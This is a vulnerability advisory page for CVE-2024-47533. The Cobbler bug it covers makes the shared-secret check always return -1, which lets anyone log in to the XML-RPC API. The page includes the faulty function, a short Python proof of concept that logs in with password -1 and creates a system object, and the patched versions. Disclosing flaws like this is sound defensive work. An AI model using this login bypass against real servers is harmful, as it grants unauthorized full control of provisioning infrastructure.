CVE-2024-47533Critical· 9.8▾ AbyssalPoC availablecobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
impact 53.9 · likelihood 0.8 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 2 sources. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Oct 27.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
4.0%
5 GitHub repos · Nuclei ×1 (last check)
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
utils.py get_shared_secret:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()
Always returns -1 because of the following exception:
binary mode doesn't take an encoding argument
This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)
This gives anyone with network access to a cobbler server full control of the server.
cobbler >= 3.3.0, < 3.3.7cobbler >= 3.0.0, < 3.2.3Upgrade to a patched release:
cobbler 3.3.7cobbler 3.2.3Connected by shared product, vendor, weakness, or advisory.
CVE-2018-1000226Critical· 9.8Cobbler Improper Validation of Security Tokens
CVE-2018-10931Critical· 9.8Cobbler has Exposed Dangerous Method or Function
CVE-2017-1000469Critical· 9.8Cobbler vulnerable to arbitrary code execution
CVE-2021-40323Critical· 9.8Cobbler before 3.3.0 allows log poisoning
CVE-2014-3225MediumCobbler Path Traversal vulnerability
CVE-2021-40325High· 7.5Cobbler before 3.3.0 allows authorization bypass for modification of settings.